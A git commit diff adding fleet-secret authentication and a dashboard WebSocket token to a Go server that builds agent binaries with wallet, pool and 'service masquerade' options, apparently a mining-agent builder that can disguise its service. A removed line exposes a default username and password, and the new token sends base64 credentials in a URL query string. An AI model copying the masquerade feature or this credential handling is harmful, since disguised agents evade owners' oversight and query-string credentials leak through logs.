feat: fleet secret auth - zero-setup agent authentication, dashboard WS token, remove credential hints

This commit is contained in:
drjones
2026-05-30 10:22:06 -07:00
parent 7c5c7dfceb
commit d073dcd7df
11 changed files with 104 additions and 3 deletions

View File

@@ -43,6 +43,9 @@ type ServerSettings struct {
SignCertThumbprint string `json:"sign_cert_thumbprint"`
SignToolPath string `json:"sign_tool_path"`
SignTimestampURL string `json:"sign_timestamp_url"`
// FleetSecret is a random token generated once on first run and baked into
// every forged agent binary. Agents must present it on connect or be rejected.
FleetSecret string `json:"fleet_secret"`
}
type PoolConfig struct {
@@ -549,6 +552,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if src.Server.SignTimestampURL != "" {
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
}
if src.Server.FleetSecret != "" {
dst.Server.FleetSecret = src.Server.FleetSecret
}
}
}

View File

@@ -1,6 +1,8 @@
package api
import (
"crypto/subtle"
"encoding/base64"
"encoding/json"
"fmt"
"log"
@@ -17,6 +19,33 @@ import (
"github.com/gorilla/websocket"
)
// secureStringEqual compares two strings in constant time to prevent timing attacks.
func secureStringEqual(a, b string) bool {
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}
// checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade.
// The browser passes btoa("user:pass") — the same value stored in sessionStorage.
func checkDashboardWSToken(r *http.Request) bool {
token := r.URL.Query().Get("token")
if token == "" {
return false
}
decoded, err := base64.StdEncoding.DecodeString(token)
if err != nil {
return false
}
parts := strings.SplitN(string(decoded), ":", 2)
if len(parts) != 2 {
return false
}
user, pass := parts[0], parts[1]
usersMu.RLock()
expectedPass, exists := authUsers[user]
usersMu.RUnlock()
return exists && secureStringEqual(pass, expectedPass)
}
var upgrader = websocket.Upgrader{
ReadBufferSize: 4096,
WriteBufferSize: 4096,
@@ -79,6 +108,7 @@ type WSHub struct {
agentLogs map[string]string
serverPolicy ServerPolicy
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
mu sync.RWMutex
}
@@ -109,6 +139,14 @@ func (h *WSHub) SetPingInterval(seconds int) {
h.mu.Unlock()
}
// SetFleetSecret stores the shared secret that all forged agents must present.
// Called once at startup from main.go after config is loaded.
func (h *WSHub) SetFleetSecret(secret string) {
h.mu.Lock()
h.fleetSecret = secret
h.mu.Unlock()
}
func (h *WSHub) pingInterval() time.Duration {
h.mu.RLock()
sec := h.pingIntervalSec
@@ -270,6 +308,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
case "auth":
var auth struct {
AgentID string `json:"agent_id"`
FleetSecret string `json:"fleet_secret"`
Wallet string `json:"wallet"`
Version string `json:"version"`
Hostname string `json:"hostname"`
@@ -300,6 +339,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
continue
}
// Verify fleet secret. If the server has one configured, the agent must match.
h.mu.RLock()
requiredSecret := h.fleetSecret
h.mu.RUnlock()
if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "invalid fleet secret — re-forge this agent",
})})
log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID)
return
}
agentID = auth.AgentID
if agentID == "" {
agentID = uuid.New().String()
@@ -603,6 +654,15 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
// Verify dashboard session. The SPA sends its stored Basic-auth token as
// ?token=<base64> because the WS upgrade can't carry Authorization headers.
// We decode it and check against the same in-memory user map as the REST API.
if !checkDashboardWSToken(r) {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
return
}
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("Dashboard WebSocket upgrade error: %v", err)

View File

@@ -121,6 +121,12 @@ type Handler struct {
goWinresPath string
serverModDir string
policy BuildPolicy
fleetSecret string // injected from server config; baked into every forge output
}
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
func (h *Handler) SetFleetSecret(secret string) {
h.fleetSecret = secret
}
type SignPolicy struct {
@@ -927,6 +933,7 @@ func GetBuiltinConfig() BuiltinConfig {
ServiceMasquerade: %v,
ServiceName: %q,
ServiceDonor: %q,
FleetSecret: %q,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -978,6 +985,7 @@ func GetBuiltinConfig() BuiltinConfig {
serviceMasqueradeEnabled(req),
serviceMasqueradeName(buildID, req),
serviceMasqueradeDonor(buildID, req),
h.fleetSecret,
)
}

View File

@@ -1,6 +1,8 @@
package main
import (
"crypto/rand"
"encoding/hex"
"encoding/json"
"fmt"
"io"
@@ -38,6 +40,23 @@ func main() {
cfg.DataDir = resolveDataDir(cfg.DataDir, projectRoot)
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
// Generate fleet secret once — persisted in config.json so all future forges
// carry the same secret and agents keep working across server restarts.
if cfg.Server.FleetSecret == "" {
b := make([]byte, 32)
if _, err := rand.Read(b); err != nil {
log.Fatalf("Failed to generate fleet secret: %v", err)
}
cfg.Server.FleetSecret = hex.EncodeToString(b)
if err := cfg.Save(); err != nil {
log.Printf("[auth] Warning: could not persist fleet secret: %v — agents forged this session will still work", err)
} else {
log.Printf("[auth] Fleet secret generated and saved — re-forge agents to pick it up")
}
} else {
log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
}
// Ensure data directories exist
dirs := []string{
cfg.DataDir,
@@ -66,6 +85,7 @@ func main() {
// Initialize WebSocket hub
wsHub := api.NewWSHub(database)
wsHub.SetAIHandler(aiHandler)
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) {
wsHub.BroadcastAIActivity(entry)
})
@@ -78,6 +98,7 @@ func main() {
// The agent source is expected at ../agent relative to the server directory
agentSrcDir := findAgentSourceDir()
builderHandler := builder.NewHandler(database, cfg.DataDir, agentSrcDir, projectRoot)
builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
defaultPoolCfg := pool.Config{

View File

@@ -4,7 +4,7 @@ import { getStoredAuth, setStoredAuth } from '../api/auth';
export default function SessionGate({ children }: { children: ReactNode }) {
const [ready, setReady] = useState(false);
const [authed, setAuthed] = useState(!!getStoredAuth());
const [user, setUser] = useState('drjones');
const [user, setUser] = useState('');
const [pass, setPass] = useState('');
const [err, setErr] = useState('');
@@ -72,7 +72,6 @@ export default function SessionGate({ children }: { children: ReactNode }) {
<button type="submit" className="btn btn-primary btn-lg">
Enter Command Deck
</button>
<p className="form-hint">Default: drjones / czapiewski (change under Calibrate Users)</p>
</form>
</div>
);

View File

@@ -9,6 +9,7 @@ import type {
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
import { WebSocketContext } from './WebSocketContext';
import type { SeqCommandResult } from './WebSocketContext';
import { getStoredAuth } from '../api/auth';
/**
* WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
@@ -45,7 +46,8 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
}
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`;
const token = getStoredAuth();
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard${token ? `?token=${encodeURIComponent(token)}` : ''}`;
const ws = new WebSocket(wsUrl);
wsRef.current = ws;